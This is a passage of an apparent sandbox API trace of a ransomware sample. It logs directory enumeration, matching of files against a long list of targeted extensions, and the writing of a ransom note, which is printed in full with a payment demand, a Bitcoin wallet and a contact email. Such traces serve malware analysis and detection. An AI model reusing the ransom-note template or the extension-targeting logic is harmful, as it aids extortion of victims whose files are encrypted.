(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.p12") returned 0 [0109.217] lstrlenA (lpString="*.p12") returned 5 [0109.217] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.gpg") returned 0 [0109.218] lstrlenA (lpString="*.gpg") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.vsd") returned 0 [0109.218] lstrlenA (lpString="*.vsd") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.odg") returned 0 [0109.218] lstrlenA (lpString="*.odg") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.raw") returned 0 [0109.218] lstrlenA (lpString="*.raw") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.nef") returned 0 [0109.218] lstrlenA (lpString="*.nef") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.svg") returned 0 [0109.218] lstrlenA (lpString="*.svg") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.psd") returned 0 [0109.218] lstrlenA (lpString="*.psd") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.vmx") returned 0 [0109.218] lstrlenA (lpString="*.vmx") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.vmdk") returned 0 [0109.218] lstrlenA (lpString="*.vmdk") returned 6 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.vdi") returned 0 [0109.218] lstrlenA (lpString="*.vdi") returned 5 [0109.218] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.lay6") returned 0 [0109.218] lstrlenA (lpString="*.lay6") returned 6 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.mpeg") returned 0 [0109.219] lstrlenA (lpString="*.mpeg") returned 6 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.djvu") returned 0 [0109.219] lstrlenA (lpString="*.djvu") returned 6 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.tiff") returned 0 [0109.219] lstrlenA (lpString="*.tiff") returned 6 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.backup") returned 0 [0109.219] lstrlenA (lpString="*.backup") returned 8 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.pdf") returned 0 [0109.219] lstrlenA (lpString="*.pdf") returned 5 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.cert") returned 0 [0109.219] lstrlenA (lpString="*.cert") returned 6 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.docm") returned 0 [0109.219] lstrlenA (lpString="*.docm") returned 6 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.xlsm") returned 0 [0109.219] lstrlenA (lpString="*.xlsm") returned 6 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.dwg") returned 0 [0109.219] lstrlenA (lpString="*.dwg") returned 5 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.nd") returned 0 [0109.219] lstrlenA (lpString="*.nd") returned 4 [0109.219] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.tlg") returned 0 [0109.220] lstrlenA (lpString="*.tlg") returned 5 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.lgb") returned 0 [0109.220] lstrlenA (lpString="*.lgb") returned 5 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.mov") returned 0 [0109.220] lstrlenA (lpString="*.mov") returned 5 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.xdw") returned 0 [0109.220] lstrlenA (lpString="*.xdw") returned 5 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.ods") returned 0 [0109.220] lstrlenA (lpString="*.ods") returned 5 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.wav") returned 0 [0109.220] lstrlenA (lpString="*.wav") returned 5 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.mp3") returned 0 [0109.220] lstrlenA (lpString="*.mp3") returned 5 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.aiff") returned 0 [0109.220] lstrlenA (lpString="*.aiff") returned 6 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.flac") returned 0 [0109.220] lstrlenA (lpString="*.flac") returned 6 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.m4a") returned 0 [0109.220] lstrlenA (lpString="*.m4a") returned 5 [0109.220] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\33f2c8336e497fc65c9d414c2a7061d8\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", pszSpec="*.csv") returned 0 [0109.220] lstrlenA (lpString="*.csv") returned 5 [0109.221] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31108e0f, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x31108e0f, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb39bb7ed, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x43400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.221] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.221] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62ff7dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62ff7dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62ff7dc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="53628485c538b7d0bde021e842825dc9", cAlternateFileName="536284~1")) returned 1 [0109.221] lstrcmpA (lpString1=".", lpString2="53628485c538b7d0bde021e842825dc9") returned -1 [0109.221] lstrcmpA (lpString1="..", lpString2="53628485c538b7d0bde021e842825dc9") returned -1 [0109.221] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\*.*") returned="*.*" [0109.221] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\", lpString2="53628485c538b7d0bde021e842825dc9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9" [0109.221] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9") returned 100 [0109.221] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62ff7dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62ff7dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62ff7dc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.222] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.222] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62ff7dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62ff7dc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x62ff7dc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.222] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.222] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.222] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310e2cb4, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310e2cb4, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb3460663, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x39600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.222] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.223] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll") returned -1 [0109.223] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll") returned -1 [0109.223] lstrcmpiA (lpString1="", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll") returned -1 [0109.223] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\*.*") returned="*.*" [0109.223] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\" [0109.223] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\") returned="" [0109.223] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\HOW TO DECRYPT FILES.txt" [0109.223] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\53628485c538b7d0bde021e842825dc9\\how to decrypt files.txt")) returned 0xffffffff [0109.223] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\53628485c538b7d0bde021e842825dc9\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.231] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.231] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.232] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.232] CloseHandle (hObject=0x90) returned 1 [0109.233] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll" [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.ems") returned 0 [0109.233] lstrlenA (lpString="*.ems") returned 5 [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.db") returned 0 [0109.233] lstrlenA (lpString="*.db") returned 4 [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.dbf") returned 0 [0109.233] lstrlenA (lpString="*.dbf") returned 5 [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.myox") returned 0 [0109.233] lstrlenA (lpString="*.myox") returned 6 [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.myo") returned 0 [0109.233] lstrlenA (lpString="*.myo") returned 5 [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qbw") returned 0 [0109.233] lstrlenA (lpString="*.qbw") returned 5 [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qbb") returned 0 [0109.233] lstrlenA (lpString="*.qbb") returned 5 [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qbm") returned 0 [0109.233] lstrlenA (lpString="*.qbm") returned 5 [0109.233] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qbo") returned 0 [0109.233] lstrlenA (lpString="*.qbo") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qbx") returned 0 [0109.234] lstrlenA (lpString="*.qbx") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qba") returned 0 [0109.234] lstrlenA (lpString="*.qba") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qby") returned 0 [0109.234] lstrlenA (lpString="*.qby") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qbj") returned 0 [0109.234] lstrlenA (lpString="*.qbj") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.ofx") returned 0 [0109.234] lstrlenA (lpString="*.ofx") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.qif") returned 0 [0109.234] lstrlenA (lpString="*.qif") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.mye") returned 0 [0109.234] lstrlenA (lpString="*.mye") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.mbox") returned 0 [0109.234] lstrlenA (lpString="*.mbox") returned 6 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.eml") returned 0 [0109.234] lstrlenA (lpString="*.eml") returned 5 [0109.234] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.pst") returned 0 [0109.234] lstrlenA (lpString="*.pst") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.ost") returned 0 [0109.235] lstrlenA (lpString="*.ost") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.idx") returned 0 [0109.235] lstrlenA (lpString="*.idx") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.dbx") returned 0 [0109.235] lstrlenA (lpString="*.dbx") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.sql") returned 0 [0109.235] lstrlenA (lpString="*.sql") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.mdb") returned 0 [0109.235] lstrlenA (lpString="*.mdb") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.fdb") returned 0 [0109.235] lstrlenA (lpString="*.fdb") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.wab") returned 0 [0109.235] lstrlenA (lpString="*.wab") returned 5 [0109.235] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\53628485c538b7d0bde021e842825dc9\\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.ni.dll", pszSpec="*.dat") returned 0 [0109.235] lstrlenA (lpString="*.dat") returned 5 [0109.235] PathMatchSpecA 